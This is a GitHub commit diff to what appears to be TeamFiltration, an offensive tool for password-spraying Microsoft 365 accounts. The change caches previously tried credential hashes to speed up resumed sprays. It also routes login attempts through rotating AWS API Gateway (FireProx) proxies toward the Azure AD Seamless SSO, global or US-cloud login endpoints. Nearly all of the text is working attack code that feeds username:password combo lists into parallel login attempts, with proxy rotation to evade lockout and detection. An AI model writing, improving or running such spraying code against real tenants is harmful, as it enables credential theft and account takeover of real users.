Skip to content

Commit

Permalink
Fixed the super slow portion of restarting a spray.... how did this t…
Browse files Browse the repository at this point in the history
…ake so long i don't know...
  • Loading branch information
Melvin Langvik committed Jan 31, 2023
1 parent 6dfafb3 commit e709c51
Show file tree
Hide file tree
Showing 2 changed files with 28 additions and 20 deletions.
7 changes: 6 additions & 1 deletion TeamFiltration/TeamFiltration/Handlers/DatabaseHandler.cs
Original file line number Diff line number Diff line change
Expand Up @@ -234,13 +234,18 @@ internal List<SprayAttempt> QueryAllSprayAttempts()
return orders.FindAll().ToList();
}

internal List<string> QueryAllComboHash()
{

var orders = _globalDatabase.GetCollection<SprayAttempt>("sprayattempts");
return orders.FindAll().Select(x => x.ComboHash).ToList();
}

internal List<SprayAttempt> QuerySprayAttempts(int minutes)
{
var timeSearch = DateTime.Now.AddMinutes(-minutes);
var orders = _globalDatabase.GetCollection<SprayAttempt>("sprayattempts");
return orders.Find(x => x.DateTime >= timeSearch && x.AADSSO == false).ToList();
return orders.Find(x => x.DateTime >= timeSearch).ToList();
}


Expand Down
41 changes: 22 additions & 19 deletions TeamFiltration/TeamFiltration/Modules/Spray.cs
Original file line number Diff line number Diff line change
Expand Up @@ -216,8 +216,8 @@ private static async Task SprayAttemptWrap(SprayAttempt sprayAttempt, GlobalArgu
}
private static async Task SprayAttemptWrap(
List<SprayAttempt> sprayAttempts,
GlobalArgumentsHandler teamFiltrationConfig,
DatabaseHandler _databaseHandler,
GlobalArgumentsHandler teamFiltrationConfig,
DatabaseHandler _databaseHandler,
UserRealmResp userRealmResp,
int delayInSeconds = 0,
int regionCounter = 0)
Expand All @@ -226,21 +226,22 @@ private static async Task SprayAttemptWrap(
var _mainMSOLHandler = new MSOLHandler(teamFiltrationConfig, "SPRAY");
var _checkMSOLHandler = new MSOLHandler(teamFiltrationConfig, "SPRAY");

(Amazon.APIGateway.Model.CreateDeploymentRequest, Models.AWS.FireProxEndpoint, string fireProxUrl) fireProxObject =
teamFiltrationConfig.GetFireProxURLObject("https://login.microsoftonline.com", regionCounter);
(Amazon.APIGateway.Model.CreateDeploymentRequest, Models.AWS.FireProxEndpoint, string fireProxUrl) fireProxObject;

if (teamFiltrationConfig.AADSSO)
fireProxObject = teamFiltrationConfig.GetFireProxURLObject("https://autologon.microsoftazuread-sso.com", regionCounter);

if (teamFiltrationConfig.UsCloud)
else if (teamFiltrationConfig.UsCloud)
fireProxObject = teamFiltrationConfig.GetFireProxURLObject("https://login.microsoftonline.us", regionCounter);
else
fireProxObject = teamFiltrationConfig.GetFireProxURLObject("https://login.microsoftonline.com", regionCounter);

await sprayAttempts.ParallelForEachAsync(
async sprayAttempt =>
{
try
{
sprayAttempt.FireProxURL = fireProxObject.fireProxUrl + "/common/oauth2/token/";
sprayAttempt.FireProxURL = teamFiltrationConfig.AADSSO ? fireProxObject.fireProxUrl : fireProxObject.fireProxUrl + "/common/oauth2/token/";
sprayAttempt.FireProxRegion = fireProxObject.Item2.Region;

var loginResp = await _mainMSOLHandler.LoginSprayAttempt(sprayAttempt, userRealmResp);
Expand Down Expand Up @@ -307,8 +308,8 @@ public static async Task SprayAsync(string[] args)
{
var alertMsg = true;
var forceBool = args.Contains("--force");



int sleepInMinutesMax = 100;
int sleepInMinutesMin = 60;
Expand All @@ -329,7 +330,7 @@ public static async Task SprayAsync(string[] args)
var databaseHandle = new DatabaseHandler(args);

var _globalProperties = new Handlers.GlobalArgumentsHandler(args, databaseHandle);


//Calcuate time format for spraying to happen
if (args.Contains("--time-window"))
Expand Down Expand Up @@ -437,15 +438,17 @@ public static async Task SprayAsync(string[] args)

var regionCounter = 0;

(Amazon.APIGateway.Model.CreateDeploymentRequest, Models.AWS.FireProxEndpoint, string fireProxUrl) fireProxObject;

(Amazon.APIGateway.Model.CreateDeploymentRequest, Models.AWS.FireProxEndpoint, string fireProxUrl) fireProxObject =
_globalProperties.GetFireProxURLObject("https://login.microsoftonline.com", regionCounter);

if (_globalProperties.AADSSO)
fireProxObject = _globalProperties.GetFireProxURLObject("https://autologon.microsoftazuread-sso.com", regionCounter);

if (_globalProperties.UsCloud)
else if (_globalProperties.UsCloud)
fireProxObject = _globalProperties.GetFireProxURLObject("https://login.microsoftonline.us", regionCounter);
else
fireProxObject = _globalProperties.GetFireProxURLObject("https://login.microsoftonline.com", regionCounter);


foreach (var userCombo in File.ReadAllLines(comboListPath)?.Where(x => !string.IsNullOrEmpty(x)))
{
Expand All @@ -457,7 +460,7 @@ public static async Task SprayAsync(string[] args)

Username = userCombo.Split(":")[0],
Password = userCombo.Split(":")[1],
FireProxURL = fireProxObject.fireProxUrl + "/common/oauth2/token/" ,
FireProxURL = _globalProperties.AADSSO ? fireProxObject.fireProxUrl : fireProxObject.fireProxUrl + "/common/oauth2/token/",
FireProxRegion = fireProxObject.Item2.Region,
ResourceClientId = randomResource.clientId,
ResourceUri = randomResource.Uri,
Expand All @@ -466,6 +469,8 @@ public static async Task SprayAsync(string[] args)
};




if (!sprayed.Select(x => x.Split(":")[0].ToLower()).Contains(userCombo.Split(":")[0].ToLower()))
{
await SprayAttemptWrap(sprayBuff, _globalProperties, databaseHandle, getUserRealmResult);
Expand Down Expand Up @@ -518,7 +523,7 @@ public static async Task SprayAsync(string[] args)
}



List<string> allCombos = databaseHandle.QueryAllComboHash();

//Generate those combinations super fast!
await bufferuserNameList.ParallelForEachAsync(
Expand All @@ -527,13 +532,11 @@ await bufferuserNameList.ParallelForEachAsync(
//Check if this combo exsists in the DB
var randomResource = Helpers.Generic.RandomO365Res();

var bufferHash = Helpers.Generic.CreateMD5(userName.ToLower() + ":" + password);
string bufferHash = Helpers.Generic.CreateMD5(userName.ToLower() + ":" + password);

//If this combo does NOT exsits, add it
if (!databaseHandle.QueryComboHash(bufferHash))
if (!allCombos.Contains(bufferHash))
{


listOfSprayAttempts.Add(new SprayAttempt()
{

Expand Down Expand Up @@ -620,7 +623,7 @@ await bufferuserNameList.ParallelForEachAsync(
}
await SprayAttemptWrap(listOfSprayAttempts, _globalProperties, databaseHandle, getUserRealmResult, delayInSeconds, regionCounter);




}
Expand Down

0 comments on commit e709c51

Please sign in to comment.